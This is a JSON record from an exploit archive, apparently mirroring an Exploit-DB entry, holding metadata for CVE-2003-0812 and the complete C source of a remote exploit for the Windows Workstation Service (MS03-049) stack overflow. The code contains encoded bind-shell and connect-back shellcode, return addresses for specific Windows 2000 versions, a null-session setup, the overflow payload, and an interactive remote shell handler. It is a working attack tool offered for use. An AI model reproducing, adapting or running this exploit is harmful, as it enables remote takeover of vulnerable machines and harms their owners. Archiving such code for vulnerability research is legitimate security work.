{"exploit":{"id":"EDB-123","name":"Microsoft Windows - Workstation Service WKSSVC Remote (MS03-049)","description":"Microsoft Windows - Workstation Service WKSSVC Remote (MS03-049)","cves":["CVE-2003-0812"],"author":"snooq","published":"2003-11-14","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/123","path":"exploits/windows/remote/123.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-123.c","vulnerabilities":[{"id":"CVE-2003-0812","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in a logging function for Windows Workstation Service (WKSSVC.DLL) allows remote attackers to execute arbitrary code via RPC calls that cause long entries to be written to a debug log file (\"NetSetup.LOG\"), as demonstrated using the NetAddAlternateComputerName API.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0812","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0812"},"updatedAt":"2024-08-08T02:05:12.565Z","retrievedAt":"2026-11-26T13:02:44.785Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-123.png?v=2","url":"https://exploitbin.com/exploits/EDB-123","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-123/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-123/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n *  Author: snooq\n *  Date: 14 November 2003\n *\n *  +++++++++++++ THIS IS A PRIVATE VERSION +++++++++++++++\n *\n *  This is just slightly better than the one I posted to\n *  packetstorm....\n *\n *  The public version will crash 'services.exe' immediately\n *  while this one crash it only when u exit from shell....\n *\n *  I'm still trying to figure out a way to avoid the 'crash'\n *  all together... any ideas????\n *\n *  Let me know if you hav trouble compiling this shit...\n *  I hope this could be a good e.g for u to try Win32\n *  exploitation..\n *\n *  This code is crappy... if u know of a better way of doing\n *  things... pls tell me.......\n *\n *  Otherwise, if you guys r keen... I'll be more than happy\n *  to go thru this in details wif u all... Meanwhile..enjoy!\n *\n *  +++++++++++++++++++++++++++++++++++++++++++++++++\n */\n\n#pragma comment (linker,\"/NODEFAULTLIB:msvcprtd.lib\")\n#pragma comment (linker,\"/NODEFAULTLIB:libcmtd.lib\")\n#pragma comment (linker,\"/NODEFAULTLIB:libcmt.lib\")\n#pragma comment (linker,\"/NODEFAULTLIB:libcd.lib\")\n#pragma comment (lib,\"ws2_32\")\n#pragma comment (lib,\"msvcrt\")\n#pragma comment (lib,\"mpr\")\n#pragma warning (disable:4013)\n\n#include <winsock2.h>\n#include <windows.h>\n#include <process.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <lm.h>\n\n#define NOP\t0x90\n#define PORT\t24876\n#define KEY\t0x99999999\n\n#define ALIGN\t\t1\t// Between 0 ~ 3\n#define TARGET\t\t1\n#define INTERVAL\t3\n#define TIME_OUT\t20\n#define PORT_OFFSET_1\t198\n#define PORT_OFFSET_2\t193\n#define IP_OFFSET\t186\n#define SC_OFFSET\t20\t// Gap for some NOPs...\n#define RET_SIZE\t2026\t// Big enuff to take EIP... ;)\n\n#define SC_SIZE_1\tsizeof(bindport)\n#define SC_SIZE_2\tsizeof(connback)\n\n#define BSIZE\t2600\n#define SSIZE\t128\n\nextern char getopt(int,char **,char*);\nextern char *optarg;\nstatic int alarm_fired=0;\n\nHMODULE hMod;\nFARPROC fxn;\nHANDLE t1, t2;\n\nchar buff[BSIZE];\n\nstruct {\n\tchar *os;\n\tlong jmpesp;\n\tchar *dll;\n}\n\ntargets[] = {\n\t{\n\t\t\"Window 2000 (en) SP4\",\n\t\t0x77e14c29,\n\t\t\"user32.dll 5.0.2195.6688\"\n\t},\n\t{\n\t\t\"Window 2000 (en) SP1\",\n\t\t0x77e3cb4c,\n\t\t\"user32.dll 5.0.2195.1600\"\n\t},\n\t{\n\t\t\"For debugging only\",\n\t\t0x41424344,\n\t\t\"dummy.dll 5.0.2195.1600\"\n\t}\n}, v;\n\n/*\n * HD Moore's shellcode..... ;)\n */\n\nchar bindport[]=\n\t\"\\xeb\\x19\\x5e\\x31\\xc9\\x81\\xe9\\xa6\\xff\\xff\\xff\\x81\\x36\\x99\\x99\\x99\"\n\t\"\\x99\\x81\\xee\\xfc\\xff\\xff\\xff\\xe2\\xf2\\xeb\\x05\\xe8\\xe2\\xff\\xff\\xff\"\n\t\"\\x71\\xa1\\x99\\x99\\x99\\xda\\xd4\\xdd\\x99\\x7e\\xe0\\x5f\\xe0\\x7c\\xd0\\x1f\"\n\t\"\\xd0\\x3d\\x34\\xb7\\x70\\x3d\\x83\\xe9\\x5e\\x40\\x90\\x6c\\x34\\x52\\x74\\x65\"\n\t\"\\xa2\\x17\\xd7\\x97\\x75\\xe7\\x41\\x7b\\xea\\x34\\x40\\x9c\\x57\\xeb\\x67\\x2a\"\n\t\"\\x8f\\xce\\xca\\xab\\xc6\\xaa\\xab\\xb7\\xdd\\xd5\\xd5\\x99\\x98\\xc2\\xcd\\x10\"\n\t\"\\x7c\\x10\\xc4\\x99\\xf3\\xa9\\xc0\\xfd\\x12\\x98\\x12\\xd9\\x95\\x12\\xe9\\x85\"\n\t\"\\x34\\x12\\xc1\\x91\\x72\\x95\\x14\\xce\\xb5\\xc8\\xcb\\x66\\x49\\x10\\x5a\\xc0\"\n\t\"\\x72\\x89\\xf3\\x91\\xc7\\x98\\x77\\xf3\\x93\\xc0\\x12\\xe4\\x99\\x19\\x60\\x9f\"\n\t\"\\xed\\x7d\\xc8\\xca\\x66\\xad\\x16\\x71\\x09\\x99\\x99\\x99\\xc0\\x10\\x9d\\x17\"\n\t\"\\x7b\\x72\\xa8\\x66\\xff\\x18\\x75\\x09\\x98\\xcd\\xf1\\x98\\x98\\x99\\x99\\x66\"\n\t\"\\xcc\\xb9\\xce\\xce\\xce\\xce\\xde\\xce\\xde\\xce\\x66\\xcc\\x85\\x10\\x5a\\xa8\"\n\t\"\\x66\\xce\\xce\\xf1\\x9b\\x99\\xf8\\xb5\\x10\\x7f\\xf3\\x89\\xcf\\xca\\x66\\xcc\"\n\t\"\\x81\\xce\\xca\\x66\\xcc\\x8d\\xce\\xcf\\xca\\x66\\xcc\\x89\\x10\\x5b\\xff\\x18\"\n\t\"\\x75\\xcd\\x99\\x14\\xa5\\xbd\\xa8\\x59\\xf3\\x8c\\xc0\\x6a\\x32\\x10\\x4e\\x5f\"\n\t\"\\xdd\\xbd\\x89\\xdd\\x67\\xdd\\xbd\\xa4\\x10\\xe5\\xbd\\xd1\\x10\\xe5\\xbd\\xd5\"\n\t\"\\x10\\xe5\\xbd\\xc9\\x14\\xdd\\xbd\\x89\\xcd\\xc9\\xc8\\xc8\\xc8\\xd8\\xc8\\xd0\"\n\t\"\\xc8\\xc8\\x66\\xec\\x99\\xc8\\x66\\xcc\\xa9\\x10\\x78\\xf1\\x66\\x66\\x66\\x66\"\n\t\"\\x66\\xa8\\x66\\xcc\\xb5\\xce\\x66\\xcc\\x95\\x66\\xcc\\xb1\\xca\\xcc\\xcf\\xce\"\n\t\"\\x12\\xf5\\xbd\\x81\\x12\\xdc\\xa5\\x12\\xcd\\x9c\\xe1\\x98\\x73\\x12\\xd3\\x81\"\n\t\"\\x12\\xc3\\xb9\\x98\\x72\\x7a\\xab\\xd0\\x12\\xad\\x12\\x98\\x77\\xa8\\x66\\x65\"\n\t\"\\xa8\\x59\\x35\\xa1\\x79\\xed\\x9e\\x58\\x56\\x94\\x98\\x5e\\x72\\x6b\\xa2\\xe5\"\n\t\"\\xbd\\x8d\\xec\\x78\\x12\\xc3\\xbd\\x98\\x72\\xff\\x12\\x95\\xd2\\x12\\xc3\\x85\"\n\t\"\\x98\\x72\\x12\\x9d\\x12\\x98\\x71\\x72\\x9b\\xa8\\x59\\x10\\x73\\xc6\\xc7\\xc4\"\n\t\"\\xc2\\x5b\\x91\\x99\";\n\nchar connback[]=\n\t\"\\xeb\\x19\\x5e\\x31\\xc9\\x81\\xe9\\xab\\xff\\xff\\xff\\x81\\x36\\x99\\x99\\x99\"\n\t\"\\x99\\x81\\xee\\xfc\\xff\\xff\\xff\\xe2\\xf2\\xeb\\x05\\xe8\\xe2\\xff\\xff\\xff\"\n\t\"\\x71\\xa9\\x99\\x99\\x99\\xda\\xd4\\xdd\\x99\\x7e\\xe0\\x5f\\xe0\\x75\\x60\\x33\"\n\t\"\\xf9\\x40\\x90\\x6c\\x34\\x52\\x74\\x65\\xa2\\x17\\xd7\\x97\\x75\\xe7\\x41\\x7b\"\n\t\"\\xea\\x34\\x40\\x9c\\x57\\xeb\\x67\\x2a\\x8f\\xce\\xca\\xab\\xc6\\xaa\\xab\\xb7\"\n\t\"\\xdd\\xd5\\xd5\\x99\\x98\\xc2\\xcd\\x10\\x7c\\x10\\xc4\\x99\\xf3\\xa9\\xc0\\xfd\"\n\t\"\\x12\\x98\\x12\\xd9\\x95\\x12\\xe9\\x85\\x34\\x12\\xc1\\x91\\x72\\x95\\x14\\xce\"\n\t\"\\xbd\\xc8\\xcb\\x66\\x49\\x10\\x5a\\xc0\\x72\\x89\\xf3\\x91\\xc7\\x98\\x77\\xf3\"\n\t\"\\x91\\xc0\\x12\\xe4\\x99\\x19\\x60\\x9d\\xed\\x7d\\xc8\\xca\\x66\\xad\\x16\\x71\"\n\t\"\\x1a\\x99\\x99\\x99\\xc0\\x10\\x9d\\x17\\x7b\\x72\\xa8\\x66\\xff\\x18\\x75\\x09\"\n\t\"\\x98\\xcd\\xf1\\x98\\x98\\x99\\x99\\x66\\xcc\\x81\\xce\\xce\\xce\\xce\\xde\\xce\"\n\t\"\\xde\\xce\\x66\\xcc\\x8d\\x10\\x5a\\xa8\\x66\\xf1\\x59\\x31\\x91\\xa0\\xf1\\x9b\"\n\t\"\\x99\\xf8\\xb5\\x10\\x78\\xf3\\x89\\xc8\\xca\\x66\\xcc\\x89\\x1c\\x59\\xec\\xdd\"\n\t\"\\x14\\xa5\\xbd\\xa8\\x59\\xf3\\x8c\\xc0\\x6a\\x32\\x5f\\xdd\\xbd\\x89\\xdd\\x67\"\n\t\"\\xdd\\xbd\\xa4\\x10\\xc5\\xbd\\xd1\\x10\\xc5\\xbd\\xd5\\x10\\xc5\\xbd\\xc9\\x14\"\n\t\"\\xdd\\xbd\\x89\\xcd\\xc9\\xc8\\xc8\\xc8\\xd8\\xc8\\xd0\\xc8\\xc8\\x66\\xec\\x99\"\n\t\"\\xc8\\x66\\xcc\\xb1\\x10\\x78\\xf1\\x66\\x66\\x66\\x66\\x66\\xa8\\x66\\xcc\\xbd\"\n\t\"\\xce\\x66\\xcc\\x95\\x66\\xcc\\xb9\\xca\\xcc\\xcf\\xce\\x12\\xf5\\xbd\\x81\\x12\"\n\t\"\\xdc\\xa5\\x12\\xcd\\x9c\\xe1\\x98\\x73\\x12\\xd3\\x81\\x12\\xc3\\xb9\\x98\\x72\"\n\t\"\\x7a\\xab\\xd0\\x12\\xad\\x12\\x98\\x77\\xa8\\x66\\x65\\xa8\\x59\\x35\\xa1\\x79\"\n\t\"\\xed\\x9e\\x58\\x56\\x94\\x98\\x5e\\x72\\x6b\\xa2\\xe5\\xbd\\x8d\\xec\\x78\\x12\"\n\t\"\\xc3\\xbd\\x98\\x72\\xff\\x12\\x95\\xd2\\x12\\xc3\\x85\\x98\\x72\\x12\\x9d\\x12\"\n\t\"\\x98\\x71\\x72\\x9b\\xa8\\x59\\x10\\x73\\xc6\\xc7\\xc4\\xc2\\x5b\\x91\\x99\\x09\";\n\nvoid err_exit(char *s) {\n\tprintf(\"%s\\n\",s);\n\texit(0);\n}\n\n/*\n * Ripped from TESO code and modifed by ey4s for win32\n * and... lamer quoted it wholesale here..... =p\n */\n\nvoid doshell(int sock) {\n\tint l;\n\tchar buf[512];\n\tstruct timeval time;\n\tunsigned long ul[2];\n\n\ttime.tv_sec=1;\n\ttime.tv_usec=0;\n\n\twhile (1) {\n\t\tul[0]=1;\n\t\tul[1]=sock;\n\n\t\tl=select(0,(fd_set *)&ul,NULL,NULL,&time);\n\t\tif(l==1) {\n\t\t\tl=recv(sock,buf,sizeof(buf),0);\n\t\t\tif (l<=0) {\n\t\t\t\terr_exit(\"-> Connection closed...\\n\");\n\t\t\t}\n\t\t\tl=write(1,buf,l);\n\t\t\tif (l<=0) {\n\t\t\t\terr_exit(\"-> Connection closed...\\n\");\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tl=read(0,buf,sizeof(buf));\n\t\t\tif (l<=0) {\n\t\t\t\terr_exit(\"-> Connection closed...\\n\");\n\t\t\t}\n\t\t\tl=send(sock,buf,l,0);\n\t\t\tif (l<=0) {\n\t\t\t\terr_exit(\"-> Connection closed...\\n\");\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid changeip(char *ip) {\n\tchar *ptr;\n\tptr=connback+IP_OFFSET;\n\t/* Assume Little-Endianess.... */\n\t*((long *)ptr)=inet_addr(ip)^KEY;\n}\n\nvoid changeport(char *code, int port, int offset) {\n\tchar *ptr;\n\tptr=code+offset;\n\tport^=KEY;\n\t/* Assume Little-Endianess.... */\n\t*ptr++=(char)((port>>8)&0xff);\n\t*ptr++=(char)(port&0xff);\n}\n\nvoid banner() {\n\tprintf(\"\\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\\n\\n\");\n}\n\nvoid usage(char *s) {\n\tbanner();\n\tprintf(\"Usage: %s [options]\\n\",s);\n\tprintf(\"\\t-r\\tSize of 'return addresses'\\n\");\n\tprintf(\"\\t-a\\tAlignment size [0~3]\\n\");\n\tprintf(\"\\t-p\\tPort to bind shell to (in 'connecting' mode), or\\n\");\n\tprintf(\"\\t\\tPort for shell to connect back (in 'listening' mode)\\n\");\n\tprintf(\"\\t-s\\tShellcode offset from the return address\\n\");\n\tprintf(\"\\t-h\\tTarget's IP\\n\");\n\tprintf(\"\\t-t\\tTarget types. ( -H for more info )\\n\");\n\tprintf(\"\\t-H\\tShow list of possible targets\\n\");\n\tprintf(\"\\t-l\\tListening for shell connecting\\n\");\n\tprintf(\"\\t\\tback to port specified by '-p' switch\\n\");\n\tprintf(\"\\t-i\\tIP for shell to connect back\\n\");\n\tprintf(\"\\t-I\\tTime interval between each trial ('connecting' mode only)\\n\");\n\tprintf(\"\\t-T\\tTime out (in number of seconds)\\n\\n\");\n\tprintf(\"\\tNotes:\\n\\t======\\n\\t'-h' is mandatory\\n\");\n\tprintf(\"\\t'-i' is mandatory if '-l' is specified\\n\\n\");\n\texit(0);\n}\n\nvoid showtargets() {\n\tint i;\n\tbanner();\n\tprintf(\"Possible targets are:\\n\");\n\tprintf(\"=====================\\n\");\n\tfor (i=0;i<sizeof(targets)/sizeof(v);i++) {\n\t\tprintf(\"%d) %s\",i+1,targets[i].os);\n\t\tprintf(\" --> 0x%08x (%s)\\n\",targets[i].jmpesp,targets[i].dll);\n\t}\n\texit(0);\n}\n\nvoid sendstr(char *host) {\n\n\tWCHAR wStr[128];\n\tchar ipc[128], hStr[128];\n\n\tDWORD ret;\n\tNETRESOURCE NET;\n\n\thMod=LoadLibrary(\"netapi32.dll\");\n\tfxn=GetProcAddress(hMod,\"NetValidateName\");\n\n\t_snprintf(ipc,127,\"\\\\\\\\%s\\\\ipc$\",host);\n\t_snprintf(hStr,127,\"\\\\\\\\%s\",host);\n\tMultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0]));\n\n\tNET.lpLocalName = NULL;\n\tNET.lpProvider = NULL;\n\tNET.dwType = RESOURCETYPE_ANY;\n\tNET.lpRemoteName = (char*)&ipc;\n\n\tprintf(\"-> Setting up $IPC session...(aka 'null session')\\n\");\n\tret=WNetAddConnection2(&NET,\"\",\"\",0);\n\n\tif (ret!=ERROR_SUCCESS) { err_exit(\"-> Couldn't establish IPC$ connection...\"); }\n\telse printf(\"-> IPC$ session setup successfully...\\n\");\n\n\tprintf(\"-> Sending exploit string...\\n\");\n\n\tret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);\n\n}\n\nVOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) {\n\terr_exit(\"-> I give up...dude.....\");\n}\n\nvoid setalarm(int timeout) {\n\n\tMSG msg = { 0, 0, 0, 0 };\n\tSetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell);\n\n\twhile(!alarm_fired) {\n\t\tif (GetMessage(&msg, 0, 0, 0) ) {\n\t\t\tif (msg.message == WM_TIMER) printf(\"-> WM_TIMER received...\\n\");\n\t\t\tDispatchMessage(&msg);\n\t\t}\n\t}\n\n}\n\nvoid resetalarm() {\n\tif (TerminateThread(t2,0)==0) {\n\t\terr_exit(\"-> Failed to reset alarm...\");\n\t}\n\tif (TerminateThread(t1,0)==0) {\n\t\terr_exit(\"-> Failed to kill the 'sending' thread...\");\n\t}\n}\n\nvoid do_send(char *host,int timeout) {\n\tt1=(HANDLE)_beginthread(sendstr,0,host);\n\tif (t1==0) { err_exit(\"-> Failed to send exploit string...\"); }\n\tt2=(HANDLE)_beginthread(setalarm,0,timeout);\n\tif (t2==0) { err_exit(\"-> Failed to set alarm clock...\"); }\n}\n\nint main(int argc, char *argv[]) {\n\n\tchar opt;\n\tchar *host, *ptr, *ip=\"\";\n\tstruct sockaddr_in sockadd;\n\tint i, i_len, ok=0, mode=0, flag=0;\n\tint align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;\n\tint target=TARGET, scsize=SC_SIZE_1, port=PORT;\n\tint timeout=TIME_OUT, interval=INTERVAL;\n\tlong retaddr;\n\n\tWSADATA wsd;\n\tSOCKET s1, s2;\n\n\tif (argc<2) { usage(argv[0]); }\n\n\twhile ((opt=getopt(argc,argv,\"a:i:I:r:s:h:t:T:p:Hl\"))!=EOF) {\n\t\tswitch(opt) {\n\t\t\tcase 'a':\n\t\t\talign=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 'I':\n\t\t\tinterval=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 'T':\n\t\t\ttimeout=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 't':\n\t\t\ttarget=atoi(optarg);\n\t\t\tretaddr=targets[target-1].jmpesp;\n\t\t\tbreak;\n\n\t\t\tcase 'i':\n\t\t\tip=optarg;\n\t\t\tchangeip(ip);\n\t\t\tbreak;\n\n\t\t\tcase 'l':\n\t\t\tmode=1;\n\t\t\tscsize=SC_SIZE_2;\n\t\t\tbreak;\n\n\t\t\tcase 'r':\n\t\t\tretsize=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 's':\n\t\t\tsc_offset=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 'h':\n\t\t\tok=1;\n\t\t\thost=optarg;\n\t\t\tsockadd.sin_addr.s_addr=inet_addr(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 'p':\n\t\t\tport=atoi(optarg);\n\t\t\tbreak;\n\n\t\t\tcase 'H':\n\t\t\tshowtargets();\n\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\tusage(argv[0]);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (!ok || (mode&&((strcmp(ip,\"\")==0)))) { usage(argv[0]); }\n\n\tmemset(buff,NOP,BSIZE);\n\n\tptr=buff+align;\n\tfor(i=0;i<retsize;i+=4) {\n\t\t*((long *)ptr)=retaddr;\n\t\tptr+=4;\n\t}\n\n\tif (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {\n\t\terr_exit(\"-> WSAStartup error....\");\n\t}\n\n\tif ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {\n\t\terr_exit(\"-> socket() error...\");\n\t}\n\tsockadd.sin_family=AF_INET;\n\tsockadd.sin_port=htons((SHORT)port);\n\n\tptr=buff+retsize+sc_offset;\n\n\tif (BSIZE<(retsize+sc_offset+scsize)) err_exit(\"-> Bad 'sc_offset'..\");\n\n\tbanner();\n\n\tif (mode) {\n\n\t\tprintf(\"-> 'Listening' mode...( port: %d )\\n\",port);\n\n\t\tchangeport(connback, port, PORT_OFFSET_2);\n\t\tfor(i=0;i<scsize;i++) { *ptr++=connback[i]; }\n\n\t\tdo_send(host,timeout);\n\t\tSleep(1000);\n\n\t\tsockadd.sin_addr.s_addr=htonl(INADDR_ANY);\n\t\ti_len=sizeof(sockadd);\n\n\t\tif (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {\n\t\t\terr_exit(\"-> bind() error\");\n\t\t}\n\n\t\tif (listen(s1,0)<0) {\n\t\t\terr_exit(\"-> listen() error\");\n\t\t}\n\n\t\tprintf(\"-> Waiting for connection...\\n\");\n\n\t\ts2=accept(s1,(struct sockaddr *)&sockadd,&i_len);\n\n\t\tif (s2<0) {\n\t\t\terr_exit(\"-> accept() error\");\n\t\t}\n\n\t\tprintf(\"-> Connection from: %s\\n\\n\",inet_ntoa(sockadd.sin_addr));\n\n\t\tresetalarm();\n\t\tdoshell(s2);\n\n\t}\n\telse {\n\n\t\tprintf(\"-> 'Connecting' mode...\\n\",port);\n\n\t\tchangeport(bindport, port, PORT_OFFSET_1);\n\t\tfor(i=0;i<scsize;i++) { *ptr++=bindport[i]; }\n\n\t\tdo_send(host,timeout);\n\t\tSleep(1000);\n\n\t\tprintf(\"-> Will try connecting to shell now....\\n\");\n\n\t\ti=0;\n\t\twhile(!flag) {\n\t\t\tSleep(interval*1000);\n\t\t\tif(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {\n\t\t\t\tprintf(\"-> Trial #%d....\\n\",i++);\n\t\t\t}\n\t\t\telse { flag=1; }\n\t\t}\n\n\t\tprintf(\"-> Connected to shell at %s:%d\\n\\n\",inet_ntoa(sockadd.sin_addr),port);\n\n\t\tresetalarm();\n\t\tdoshell(s1);\n\n\t}\n\n\treturn 0;\n\n}\n\n// milw0rm.com [2003-11-14]","sha256":"a872b5c41a5fa834273d7407557e433c2753d794fc430414b2f27ac6f94a0661","bytes":12419,"fetchedAt":"2026-11-26T14:10:21.331Z","encoding":"utf-8 (display only; download retains original bytes)"}